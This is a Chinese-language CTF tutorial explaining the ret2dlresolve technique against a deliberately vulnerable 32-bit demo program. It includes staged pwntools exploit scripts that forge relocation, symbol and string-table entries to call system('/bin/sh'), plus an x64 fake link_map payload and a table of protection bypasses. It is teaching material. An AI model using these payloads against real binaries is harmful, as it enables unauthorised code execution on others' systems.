从Pwn视角看动态链接:手把手教你一步步伪造ret2dlresolve攻击链(x86/x64实战)
深入解析ret2dlresolve攻击:从原理到实战的完整指南
在二进制安全领域,ret2dlresolve攻击是一种精妙的技术手段,它允许攻击者在无法泄露libc地址的"盲打"环境下,通过精心构造的数据结构欺骗动态链接器解析任意函数。本文将带你从底层原理出发,逐步构建完整的攻击链,并对比分析x86与x64架构下的实现差异。
1. 动态链接机制基础
Linux系统中的动态链接过程依赖于几个关键数据结构:
- .plt节:过程链接表,包含跳转到GOT的指令
- .got.plt节:全局偏移表,存储函数实际地址
- .rel.plt节:重定位表,记录需要重定位的函数信息
- .dynsym节:动态符号表,包含符号的基本信息
- .dynstr节:动态字符串表,存储符号名称字符串
当程序第一次调用动态链接函数时,会触发以下流程:
- 执行PLT表中的跳转指令
- 将重定位偏移(reloc_arg)和link_map压栈
- 调用_dl_runtime_resolve函数
- _dl_runtime_resolve调用_dl_fixup完成实际解析
关键数据结构定义如下(x86架构):
typedef struct { Elf32_Addr r_offset; // GOT表地址 Elf32_Word r_info; // 符号表索引和类型 } Elf32_Rel; typedef struct { Elf32_Word st_name; // 符号名在.dynstr中的偏移 Elf32_Addr st_value; // 符号值 Elf32_Word st_size; // 符号大小 unsigned char st_info;// 类型和绑定属性 unsigned char st_other; Elf32_Section st_shndx; } Elf32_Sym;2. ret2dlresolve攻击原理
ret2dlresolve的核心思想是伪造动态链接器解析函数所需的数据结构,控制解析过程使其解析攻击者指定的函数(如system)。攻击者需要:
- 控制reloc_arg参数,使其指向可控内存区域
- 伪造.rel.plt条目,控制r_info指向可控的符号表位置
- 伪造.dynsym条目,控制st_name指向可控的字符串表位置
- 伪造.dynstr内容,将目标函数名替换为攻击函数名(如write→system)
攻击成功的关键在于精确控制每个数据结构的字段,使其通过动态链接器的各项检查。
3. x86架构实战步骤
3.1 基础环境准备
我们使用以下示例程序进行演示:
#include <unistd.h> #include <stdio.h> #include <string.h> void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n"; setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }编译命令:
gcc -fno-stack-protector -m32 -z relro -no-pie bof.c -o bof3.2 分阶段攻击实现
阶段一:控制reloc_arg
from pwn import * elf = ELF('./bof') offset = 112 read_plt = elf.plt['read'] write_plt = elf.plt['write'] ppp_ret = 0x08048619 pop_ebp_ret = 0x0804861b leave_ret = 0x08048458 bss_addr = 0x0804a040 base_stage = bss_addr + 0x800 r = process('./bof') r.recvuntil('Welcome to XDCTF2015~!\n') # 栈迁移到bss段 payload = flat('A' * offset, p32(read_plt), p32(ppp_ret), p32(0), p32(base_stage), p32(100), p32(pop_ebp_ret), p32(base_stage), p32(leave_ret)) r.sendline(payload) # 基础调用 cmd = "/bin/sh" plt_0 = 0x08048380 index_offset = 0x20 payload2 = flat('AAAA', p32(plt_0), index_offset, 'aaaa', p32(1), p32(base_stage + 80), p32(len(cmd)), 'A' * 52, cmd + '\x00', 'A' * 12) r.sendline(payload2) r.interactive()阶段二:伪造.rel.plt条目
rel_plt = 0x08048330 fake_write_addr = base_stage + 28 fake_arg = fake_write_addr - rel_plt r_offset = elf.got['write'] r_info = 0x607 # write的符号信息 fake_write = flat(p32(r_offset), p32(r_info)) payload2 = flat('AAAA', p32(plt_0), fake_arg, 'aaaa', p32(1), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * 44, cmd + '\x00', 'A' * 12)阶段三:伪造.dynsym条目
dynsym = 0x080481D8 align = 0x10 - ((base_stage + 36 - dynsym) % 16) fake_sym_addr = base_stage + 36 + align r_info = (((fake_sym_addr - dynsym) // 16) << 8) | 0x7 fake_write = flat(p32(r_offset), p32(r_info)) fake_sym = flat(p32(0x4c), p32(0), p32(0), p32(0x12)) payload2 = flat('AAAA', p32(plt_0), fake_arg, p32(ppp_ret), p32(1), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * align, fake_sym) payload2 += flat('A' * (80 - len(payload2)), cmd + '\x00') payload2 += flat('A' * (100 - len(payload2)))阶段四:伪造.dynstr内容
strtab = 0x08048278 fake_write_str_addr = base_stage + 36 + align + 0x10 fake_name = fake_write_str_addr - strtab fake_sym = flat(p32(fake_name), p32(0), p32(0), p32(0x12)) fake_write_str = 'system\x00' payload2 = flat('AAAA', p32(plt_0), fake_arg, p32(ppp_ret), p32(base_stage + 80), p32(base_stage + 80), p32(len(cmd)), fake_write, 'A' * align, fake_sym, fake_write_str) payload2 += flat('A' * (80 - len(payload2)), cmd + '\x00') payload2 += flat('A' * (100 - len(payload2)))4. x64架构的特殊处理
x64架构下的ret2dlresolve攻击面临额外挑战,主要来自_dl_fixup函数中的额外检查:
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { // 额外检查代码 ... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); }在x64下,我们需要:
- 确保sym->st_other不为0,跳过额外检查
- 伪造link_map结构,控制l_addr值
- 将sym->st_value设置为已知函数的GOT地址
4.1 x64攻击实现
def fake_linkmap_payload(fake_linkmap_addr, known_func_ptr, offset): linkmap = p64(offset & (2**64 - 1)) # l_addr linkmap += p64(0) + p64(fake_linkmap_addr + 0x18) # DT_JMPREL linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2**64 - 1)) # r_offset linkmap += p64(0x7) + p64(0) # r_info and r_addend linkmap += p64(0) # l_ns linkmap += p64(0) + p64(known_func_ptr - 0x8) # DT_SYMTAB linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68, b'A') linkmap += p64(fake_linkmap_addr) # DT_STRTAB linkmap += p64(fake_linkmap_addr + 0x38) # DT_SYMTAB linkmap = linkmap.ljust(0xf8, b'A') linkmap += p64(fake_linkmap_addr + 0x8) # DT_JMPREL return linkmap5. 防护机制与绕过技巧
现代系统部署了多种防护机制对抗ret2dlresolve攻击:
| 防护机制 | 影响 | 绕过方法 |
|---|---|---|
| RELRO | 限制.got.plt写入 | 使用Partial RELRO环境 |
| ASLR | 随机化内存布局 | 不需要泄露地址 |
| Stack Canary | 检测栈溢出 | 不破坏canary值 |
| PIE | 随机化代码段 | 编译时禁用PIE |
在实际CTF挑战中,ret2dlresolve常用于以下场景:
- 没有泄露libc地址的方法
- 程序开启了NX但未开启FULL RELRO
- 存在栈溢出但无法泄露内存
6. 实战技巧与调试方法
调试ret2dlresolve攻击时,以下技巧很有帮助:
使用GDB插件:
gdb -q ./bof -ex 'b *0x08048380' -ex 'r'检查关键数据结构:
readelf -r ./bof # 查看重定位表 readelf -S ./bof # 查看节头信息分阶段验证:
- 先验证栈迁移是否成功
- 再测试伪造的.rel.plt是否被正确解析
- 最后验证完整攻击链
常见问题排查:
- 确保所有伪造地址可读
- 检查结构体对齐要求
- 验证每个阶段的参数是否正确
ret2dlresolve攻击虽然复杂,但通过分阶段构建和验证,可以逐步掌握这项强大的技术。它不仅是一种攻击手段,更是理解Linux动态链接机制的绝佳途径。
